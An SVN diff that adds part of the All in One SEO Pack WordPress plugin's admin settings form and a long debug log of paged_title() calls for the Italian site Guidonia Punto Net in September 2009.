+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_tags_noindex_tip');">
+<?php _e('Use noindex for Tag Archives:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_tags_noindex" <?php if ($aioseop_options['aiosp_tags_noindex']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_tags_noindex_tip">
+<?php
+_e('Check this for excluding tag pages from being crawled. Useful for avoiding duplicate content.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_generate_descriptions_tip');">
+<?php _e('Autogenerate Descriptions:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_generate_descriptions" <?php if ($aioseop_options['aiosp_generate_descriptions']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_generate_descriptions_tip">
+<?php
+_e("Check this and your META descriptions will get autogenerated if there's no excerpt.", 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_cap_cats_tip');">
+<?php _e('Capitalize Category Titles:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_cap_cats" <?php if ($aioseop_options['aiosp_cap_cats']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_cap_cats_tip">
+<?php
+_e("Check this and Category Titles will have the first letter of each word capitalized.", 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<!-- new crap start -->
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_ex_pages_tip');">
+<?php _e('Exclude Pages:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+	<textarea cols="57" rows="2" name="aiosp_ex_pages"><?php echo stripcslashes($aioseop_options['aiosp_ex_pages']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_ex_pages_tip">
+<?php
+_e("Enter any comma separated pages here to be excluded by All in One SEO Pack.  This is helpful when using plugins which generate their own non-WordPress dynamic pages.  Ex: <em>/forum/,/contact/</em>  For instance, if you want to exclude the virtual pages generated by a forum plugin, all you have to do is give forum or /forum or /forum/ or and any URL with the word \"forum\" in it, such as http://mysite.com/forum or http://mysite.com/forum/someforumpage will be excluded from All in One SEO Pack.", 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+<!--  new crap end -->
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_post_meta_tags_tip');">
+<?php _e('Additional Post Headers:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<textarea cols="57" rows="2" name="aiosp_post_meta_tags"><?php echo stripcslashes($aioseop_options['aiosp_post_meta_tags']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_post_meta_tags_tip">
+<?php
+_e('What you enter here will be copied verbatim to your header on post pages. You can enter whatever additional headers you want here, even references to stylesheets.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_page_meta_tags_tip');">
+<?php _e('Additional Page Headers:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<textarea cols="57" rows="2" name="aiosp_page_meta_tags"><?php echo stripcslashes($aioseop_options['aiosp_page_meta_tags']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_page_meta_tags_tip">
+<?php
+_e('What you enter here will be copied verbatim to your header on pages. You can enter whatever additional headers you want here, even references to stylesheets.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_home_meta_tags_tip');">
+<?php _e('Additional Home Headers:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<textarea cols="57" rows="2" name="aiosp_home_meta_tags"><?php echo stripcslashes($aioseop_options['aiosp_home_meta_tags']); ?></textarea>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_home_meta_tags_tip">
+<?php
+_e('What you enter here will be copied verbatim to your header on the home page. You can enter whatever additional headers you want here, even references to stylesheets.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'auto_social')?>" onclick="toggleVisibility('aiosp_do_log_tip');">
+<?php _e('Log important events:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_do_log" <?php if ($aioseop_options['aiosp_do_log']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_do_log_tip">
+<?php
+_e('Check this and SEO pack will create a log of important events (all_in_one_seo_pack.log) in its plugin directory which might help debugging it. Make sure this directory is writable.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+
+<?php if ($aioseop_options['aiosp_donate']){?>
+<tr>
+<th scope="row" style="text-align:right; vertical-align:top;">
+<a style="cursor:pointer;" title="<?php _e('Click for Help!', 'all_in_one_seo_pack')?>" onclick="toggleVisibility('aiosp_donate_tip');">
+<?php _e('Thank you for your donation:', 'all_in_one_seo_pack')?>
+</a>
+</td>
+<td>
+<input type="checkbox" name="aiosp_donate" <?php if ($aioseop_options['aiosp_donate']) echo "checked=\"1\""; ?>/>
+<div style="max-width:500px; text-align:left; display:none" id="aiosp_donate_tip">
+<?php
+_e('All donations support continued development of this free software.', 'all_in_one_seo_pack');
+ ?>
+</div>
+</td>
+</tr>
+<?php } ?>
+
+</table>
+<p class="submit">
+	<?php if($aioseop_options) {  ?>
+	
+<input type="hidden" name="action" value="aiosp_update" /> 
+<input type="hidden" name="nonce-aioseop" value="<?php echo wp_create_nonce('aioseop-nonce'); ?>" />
+<input type="hidden" name="page_options" value="aiosp_home_description" /> 
+<input type="submit" class='button-primary' name="Submit" value="<?php _e('Update Options', 'all_in_one_seo_pack')?> &raquo;" /> 
+</p>
+<?php } ?>
+
+<p><br />
+<strong>Check out these other great plugins!</strong><br />
+<a href="http://semperfiwebdesign.com/custom-applications/sms-text-message/" title="SMS Text Message WordPress plugin">SMS Text Message</a> - sends SMS updates to your readers<br />
+<a href="http://semperfiwebdesign.com/custom-applications/wp-security-scan/" title="WordPress Security">WordPress Security Scan</a> - provides vital security for your WordPress site
+</p>
+</form>
+</div>
+<?php
+	
+	} // options_panel
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.log
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.log	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/all-in-one-seo-pack/all_in_one_seo_pack.log	(revision 44)
@@ -0,0 +1,2896 @@
+2009-09-08 02:59:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 03:00:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 03:11:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 03:12:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 03:12:10 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 12:21:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 12:37:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 15:55:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 15:55:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 15:55:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-09-08 15:56:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-09-08 16:01:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 16:22:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 18:30:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 19:00:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 19:06:46 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 19:17:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 19:55:50 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 20:07:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 20:08:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 20:19:26 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-09-08 20:19:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 20:54:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 20:54:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 21:38:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 22:20:07 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-08 22:44:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 22:46:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 22:48:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 23:14:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 23:22:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-08 23:38:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-09 00:14:38 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-09-09 01:45:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 02:42:18 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 6]
+2009-09-09 05:30:15 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 7]
+2009-09-09 05:59:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 08:14:10 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 8]
+2009-09-09 09:51:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-09 10:21:30 paged_title() [Guidonia  News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-09-09 13:04:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 14:39:25 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 9]
+2009-09-09 14:41:59 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 14:53:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 15:41:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 15:48:43 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 15:49:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 16:03:30 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 16:25:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 16:46:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 16:49:10 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 10]
+2009-09-09 17:10:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 17:14:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 17:19:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 17:30:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 17:34:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 17:56:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 18:01:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 18:02:54 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 18:10:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 18:35:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 18:38:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 19:04:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 19:31:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 19:51:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 19:52:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 20:07:22 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 11]
+2009-09-09 20:07:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 20:14:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 20:16:34 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 20:21:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-09 22:17:36 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 12]
+2009-09-10 00:36:31 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 13]
+2009-09-10 04:49:24 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 14]
+2009-09-10 09:31:09 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 15]
+2009-09-10 09:46:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-10 10:24:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-10 13:45:25 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 16]
+2009-09-10 16:15:28 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 17]
+2009-09-10 19:04:13 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 18]
+2009-09-10 21:02:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-10 22:29:50 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 19]
+2009-09-11 00:15:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 03:55:07 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 20]
+2009-09-11 05:37:14 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 21]
+2009-09-11 05:48:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 05:53:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 05:56:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 05:57:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:00:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:01:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:02:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:15:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:22:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:23:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:23:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:29:14 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:29:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:29:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:32:55 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:35:52 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:39:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:43:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:43:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:43:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 06:59:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 07:05:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 07:12:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 07:21:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 07:24:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 07:49:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 08:32:29 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 22]
+2009-09-11 08:35:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 09:54:21 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 12:18:21 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 23]
+2009-09-11 13:04:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 13:04:09 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 21:23:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-11 22:01:40 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 02:55:32 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 24]
+2009-09-12 03:51:58 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-12 04:23:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-12 08:20:56 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 08:43:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 08:51:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 08:53:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 09:11:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 09:14:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 09:18:01 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 09:23:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 09:32:03 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:08:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:09:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:11:15 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:24:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:24:34 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:31:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:37:13 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:42:26 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:52:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 10:55:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:00:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:02:08 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:10:45 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:12:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:23:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:24:24 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:28:18 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:34:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:40:33 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:42:19 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:45:20 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 11:49:23 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:01:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:08:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:08:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:09:37 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:30:00 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:53:22 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 12:55:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 13:39:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 13:50:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 14:46:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-12 16:38:18 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 25]
+2009-09-12 18:48:08 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 26]
+2009-09-12 20:51:19 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 27]
+2009-09-12 22:19:55 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 28]
+2009-09-13 09:43:46 paged_title() [guidonia -calcio -pallavolo -partita -campo &#8211; Google News | Guidonia Montecelio | Guidonia Punto Net] [ - Part 29]
+2009-09-13 17:53:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-13 17:53:41 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-13 17:53:57 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-13 17:54:06 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-13 17:54:11 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 4]
+2009-09-13 17:54:31 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-09-13 17:54:48 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 5]
+2009-09-13 22:50:38 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-13 23:02:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-13 23:27:42 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-13 23:30:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-13 23:48:27 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:03:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:12:34 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:22:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:26:35 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:26:51 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:28:47 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:30:04 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:35:12 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:37:17 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:43:02 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:45:53 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:46:39 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 00:55:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 01:04:25 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 01:06:49 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 01:07:16 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 01:08:32 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 01:46:05 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 03:35:28 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 3]
+2009-09-14 05:42:07 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
+2009-09-14 10:52:05 paged_title() [Guidonia Montecelio | Guidonia Punto Net] [ - Part 2]
